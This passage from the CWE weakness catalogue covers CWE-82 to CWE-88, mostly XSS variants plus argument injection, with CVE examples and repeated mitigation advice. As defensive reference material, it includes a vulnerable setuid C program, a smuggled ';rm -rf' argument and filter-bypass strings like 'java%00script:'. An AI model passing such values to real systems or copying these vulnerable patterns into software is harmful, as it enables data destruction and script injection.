Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

**Implementation**

With Struts, write all data from form beans with the bean’s filter attribute set to true.

**Implementation**

**Identify and Reduce Attack Surface**

**Defense in Depth**

To help mitigate XSS attacks against the user’s session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user’s session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

### Weakness Ordinalities

#### Resultant (where the weakness is typically related to the presence of some other weaknesses)

<table>
<thead>
<tr>
<th>Relationships</th>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td></td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>131</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td></td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
<td>397</td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td></td>
<td></td>
<td>390</td>
<td>Detection of Error Condition Without Action</td>
<td>673</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>1392</td>
</tr>
</tbody>
</table>

**Causal Nature**

Explicit (an explicit weakness resulting from behavior of the developer)

**Taxonomy Mappings**
CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page

Description

Summary
The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.

Extended Description
Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.

Time of Introduction
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Confidentiality
Integrity
Availability
Read application data
Execute unauthorized code or commands

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-1649</td>
<td>javascript URI scheme in IMG tag.</td>
</tr>
<tr>
<td>CVE-2002-1803</td>
<td>javascript URI scheme in IMG tag.</td>
</tr>
<tr>
<td>CVE-2002-1804</td>
<td>javascript URI scheme in IMG tag.</td>
</tr>
<tr>
<td>CVE-2002-1805</td>
<td>javascript URI scheme in IMG tag.</td>
</tr>
<tr>
<td>CVE-2002-1806</td>
<td>javascript URI scheme in IMG tag.</td>
</tr>
<tr>
<td>CVE-2002-1807</td>
<td>javascript URI scheme in IMG tag.</td>
</tr>
<tr>
<td>CVE-2002-1808</td>
<td>javascript URI scheme in IMG tag.</td>
</tr>
<tr>
<td>CVE-2006-3211</td>
<td>Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Implementation

Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Implementation

Identify and Reduce Attack Surface

Defense in Depth

To help mitigate XSS attacks against the user’s session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user’s session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>83</td>
<td>Improper Neutralization of Script in Attributes in a Web Page</td>
<td>699</td>
<td>147</td>
</tr>
<tr>
<td>ChildOf</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
<td>1392</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>SFP24</td>
<td>Script in IMG tags</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

CWE-83: Improper Neutralization of Script in Attributes in a Web Page

Weakness ID: 83 (Weakness Variant)  Status: Draft

Description

Summary

The software does not neutralize or incorrectly neutralizes "javascript:" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Confidentiality
Integrity
Availability
Read application data
Execute unauthorized code or commands
CWE Version 2.11
CWE-83: Improper Neutralization of Script in Attributes in a Web Page

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0520</td>
<td>Bypass filtering of SCRIPT tags using onload in BODY, href in A, BUTTON, INPUT, and others.</td>
</tr>
<tr>
<td>CVE-2002-1493</td>
<td>guestbook XSS in STYLE or IMG SRC attributes.</td>
</tr>
<tr>
<td>CVE-2002-1495</td>
<td>XSS in web-based email product via onmouseover event.</td>
</tr>
<tr>
<td>CVE-2002-1681</td>
<td>XSS via script in &lt;P&gt; tag.</td>
</tr>
<tr>
<td>CVE-2003-1136</td>
<td>Javascript in onmouseover attribute in e-mail address or URL.</td>
</tr>
<tr>
<td>CVE-2004-1935</td>
<td>Onload, onmouseover, and other events in an e-mail attachment.</td>
</tr>
<tr>
<td>CVE-2005-0945</td>
<td>Onmouseover and onload events in img, link, and mail tags.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation

Carefully check each input parameter against a rigorous positive specification (whitelist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Implementation

With Struts, write all data from form beans with the bean’s filter attribute set to true.

Identify and Reduce Attack Surface

Defense in Depth

To help mitigate XSS attacks against the user’s session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user’s session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☀️</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)</td>
<td>699 131</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☝️</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>1000 1392</td>
</tr>
</tbody>
</table>
CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page

Weakness ID: 84 (Weakness Variant)  Status: Draft

Description

Summary
The web application improperly neutralizes user-controlled input for executable script disguised with URI encodings.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Integrity
Unexpected state

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0117</td>
<td>Encoded &quot;javascript&quot; in IMG tag.</td>
</tr>
<tr>
<td>CVE-2002-0118</td>
<td>Encoded &quot;javascript&quot; in IMG tag.</td>
</tr>
<tr>
<td>CVE-2005-0563</td>
<td>Cross-site scripting (XSS) vulnerability in Microsoft Outlook Web Access (OWA) component in Exchange Server 5.5 allows remote attackers to inject arbitrary web script or HTML via an email message with an encoded javascript: URL (&quot;jav&amp;#X41sc
ript:&quot;) in an IMG tag.</td>
</tr>
<tr>
<td>CVE-2005-0692</td>
<td>Encoded script within BBcode IMG tag.</td>
</tr>
<tr>
<td>CVE-2005-2276</td>
<td>Cross-site scripting (XSS) vulnerability in Novell Groupwise WebAccess 6.5 before July 11, 2005 allows remote attackers to inject arbitrary web script or HTML via an e-mail message with an encoded javascript URI (e.g. &quot;jav&amp;#X41scas&quot; in an IMG tag).</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Input Validation
Resolve all URIs to absolute or canonical representations before processing.
Implementation

Input Validation
Carefully check each input parameter against a rigorous positive specification (whitelist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Implementation

Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Implementation

Identify and Reduce Attack Surface

Defense in Depth
To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>3</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>699 131</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888 1392</td>
</tr>
</tbody>
</table>

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>XSS using Script Via Encoded URI Schemes</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>244</td>
<td>XSS Targeting URI Placeholders</td>
<td></td>
</tr>
</tbody>
</table>
CWE-85: Doubled Character XSS Manipulations

**Weakness ID:** 85 *(Weakness Variant)*  
**Status:** Draft

**Description**

**Summary**
The web application does not filter user-controlled input for executable script disguised using doubling of the involved characters.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

- **Confidentiality**
- **Integrity**
- **Availability**
- **Read application data**
- **Execute unauthorized code or commands**

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0116</td>
<td>Encoded &quot;javascript&quot; in IMG tag.</td>
</tr>
<tr>
<td>CVE-2001-1157</td>
<td>Extra &quot;&lt;&quot; in front of SCRIPT tag.</td>
</tr>
<tr>
<td>CVE-2002-2086</td>
<td>XSS using &quot;&lt;script&quot;.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Resolve all filtered input to absolute or canonical representations before processing.

**Implementation**

Carefully check each input parameter against a rigorous positive specification (whitelist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

**Implementation**

**Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

**Implementation**

With Struts, write all data from form beans with the bean's filter attribute set to true.
Implementation

Identify and Reduce Attack Surface

Defense in Depth

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>675</td>
<td>Duplicate Operations on Resource</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>888</td>
</tr>
</tbody>
</table>

Causal Nature

Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>DOUBLE - Doubled character XSS manipulations, e.g. &quot;&lt;script&quot;</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td></td>
<td>SFP24</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>245</td>
<td>XSS Using Doubled Characters</td>
<td></td>
</tr>
</tbody>
</table>

CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages

Weakness ID: 86 (Weakness Variant) Status: Draft

Description

Summary

The software does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.

Extended Description

Some web browsers may remove these sequences, resulting in output that may have unintended control implications. For example, the software may attempt to remove a "javascript:" URI scheme, but a "java%00script:" URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.

Time of Introduction

• Implementation

Applicable Platforms

Languages

• All

Common Consequences

Confidentiality
Integrity
Availability

Read application data
Execute unauthorized code or commands

Observed Examples
CWE Version 2.11

CWE-87: Improper Neutralization of Alternate XSS Syntax

Reference
CVE-2004-0595

Description
XSS filter doesn't filter null characters before looking for dangerous tags, which are ignored by web browsers. Multiple Interpretation Error (MIE) and validate-before-cleanse.

Potential Mitigations

Implementation

Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Implementation

Identify and Reduce Attack Surface

Defense in Depth

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Relationships

Nature | Type | ID | Name | Page
--- | --- | --- | --- | ---
ChildOf |  | 79 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 131
PeerOf |  | 184 | Incomplete Blacklist | 1000
ChildOf |  | 436 | Interpretation Conflict | 1000
ChildOf |  | 990 | SFP Secondary Cluster: Tainted Input to Command | 1392

Taxonomy Mappings

PLOVER
Invalid Characters in Identifiers

Software Fault Patterns
SFP24
Tainted input to command

Related Attack Patterns

CAPEC-ID | Attack Pattern Name
--- | ---
73 | User-Controlled Filename
85 | AJAX Fingerprinting
247 | XSS Using Invalid Characters

CWE-87: Improper Neutralization of Alternate XSS Syntax

Weakness ID: 87 (Weakness Variant)

Description

Summary
The software does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.

Time of Introduction

• Implementation
Applicable Platforms
Languages
• All

Common Consequences
Confidentiality
Integrity
Availability
Read application data
Execute unauthorized code or commands

Demonstrative Examples
In the following example, an XSS neutralization routine checks for the lower-case "script" string but does not account for alternate strings ("SCRIPT", for example).

Java Example:

```java
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0738</td>
<td>XSS using &quot;&amp;={script}&quot;.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Implementation
Resolve all input to absolute or canonical representations before processing.

Implementation
Carefully check each input parameter against a rigorous positive specification (whitelist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Implementation
Output Encoding
Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Implementation
With Struts, write all data from form beans with the bean's filter attribute set to true.
Implementation

Identify and Reduce Attack Surface

Defense in Depth

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>Incorrect</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>131</td>
</tr>
<tr>
<td>ChildOf</td>
<td>Correct</td>
<td>990</td>
<td>SFP Secondary Cluster: Tainted Input to Command</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1392</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Alternate XSS syntax</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP24</td>
<td>Tainted input to command</td>
</tr>
</tbody>
</table>

Related Attack Patterns

CAPEC-ID | Attack Pattern Name                  | (CAPEC Version 2.10) |
---------|--------------------------------------|----------------------|
199      | XSS Using Alternate Syntax           |                      |

CWE-88: Argument Injection or Modification

Weakness ID: 88 (Weakness Base)  Status: Draft

Description

Summary

The software does not sufficiently delimit the arguments being passed to a component in another control sphere, allowing alternate arguments to be provided, leading to potentially security-relevant changes.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages

• All

Common Consequences

Confidentiality
Integrity
Availability
Other

Execute unauthorized code or commands
 Alter execution logic
Read application data
Modify application data

An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.

Demonstrative Examples

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.
CWE Version 2.11
CWE-88: Argument Injection or Modification

C Example:

```c
int main(int argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to system() also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an attacker passes a string of the form ";rm -rf ", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition.

Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0113</td>
<td>Canonical Example</td>
</tr>
<tr>
<td>CVE-2001-0150</td>
<td>Web browser executes Telnet sessions using command line arguments that are specified by the web site, which could allow remote attackers to execute arbitrary commands.</td>
</tr>
<tr>
<td>CVE-2001-0667</td>
<td>Web browser allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed.</td>
</tr>
<tr>
<td>CVE-2001-1246</td>
<td>Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.</td>
</tr>
<tr>
<td>CVE-2002-0985</td>
<td>Argument injection vulnerability in the mail function for PHP may allow attackers to bypass safe mode restrictions and modify command line arguments to the MTA (e.g. sendmail) possibly executing commands.</td>
</tr>
<tr>
<td>CVE-2003-0907</td>
<td>Help and Support center in windows does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an &quot;hcp://&quot; URL.</td>
</tr>
<tr>
<td>CVE-2004-0121</td>
<td>Mail client does not sufficiently filter parameters of mailto: URLs when using them as arguments to mail executable, which allows remote attackers to execute arbitrary programs.</td>
</tr>
<tr>
<td>CVE-2004-0411</td>
<td>Web browser doesn't filter &quot;:-&quot; when invoking various commands, allowing command-line switches to be specified.</td>
</tr>
<tr>
<td>CVE-2004-0473</td>
<td>Web browser doesn't filter &quot;:-&quot; when invoking various commands, allowing command-line switches to be specified.</td>
</tr>
<tr>
<td>CVE-2004-0480</td>
<td>Mail client allows remote attackers to execute arbitrary code via a URI that uses a UNC network share pathname to provide an alternate configuration file.</td>
</tr>
<tr>
<td>CVE-2004-0489</td>
<td>SSH URI handler for web browser allows remote attackers to execute arbitrary code or conduct port forwarding via the a command line option.</td>
</tr>
<tr>
<td>CVE-2005-4699</td>
<td>Argument injection vulnerability in TellMe 1.2 and earlier allows remote attackers to modify command line arguments for the Whois program and obtain sensitive information via &quot;:-:&quot; style options in the q_Host parameter.</td>
</tr>
<tr>
<td>CVE-2006-1865</td>
<td>Beagle before 0.2.5 can produce certain insecure command lines to launch external helper applications while indexing, which allows attackers to execute arbitrary commands. NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues.</td>
</tr>
<tr>
<td>CVE-2006-2056</td>
<td>Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via &quot; (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.</td>
</tr>
<tr>
<td>CVE-2006-2057</td>
<td>Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via &quot; (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.</td>
</tr>
<tr>
<td>CVE-2006-2058</td>
<td>Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via &quot; (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft</td>
</tr>
</tbody>
</table>
CWE Version 2.11

CWE-88: Argument Injection or Modification

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-2312</td>
<td>Argument injection vulnerability in the URI handler in Skype 2.0.<em>.104 and 2.5.</em>.0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches.</td>
</tr>
<tr>
<td>CVE-2006-3015</td>
<td>Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI.</td>
</tr>
<tr>
<td>CVE-2006-4692</td>
<td>Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a &quot;/&quot; (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka &quot;Object Packager Dialogue Spoofing Vulnerability.&quot;</td>
</tr>
<tr>
<td>CVE-2006-6597</td>
<td>Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe.</td>
</tr>
<tr>
<td>CVE-2007-0882</td>
<td>Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client &quot;-f&quot; sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design

Input Validation

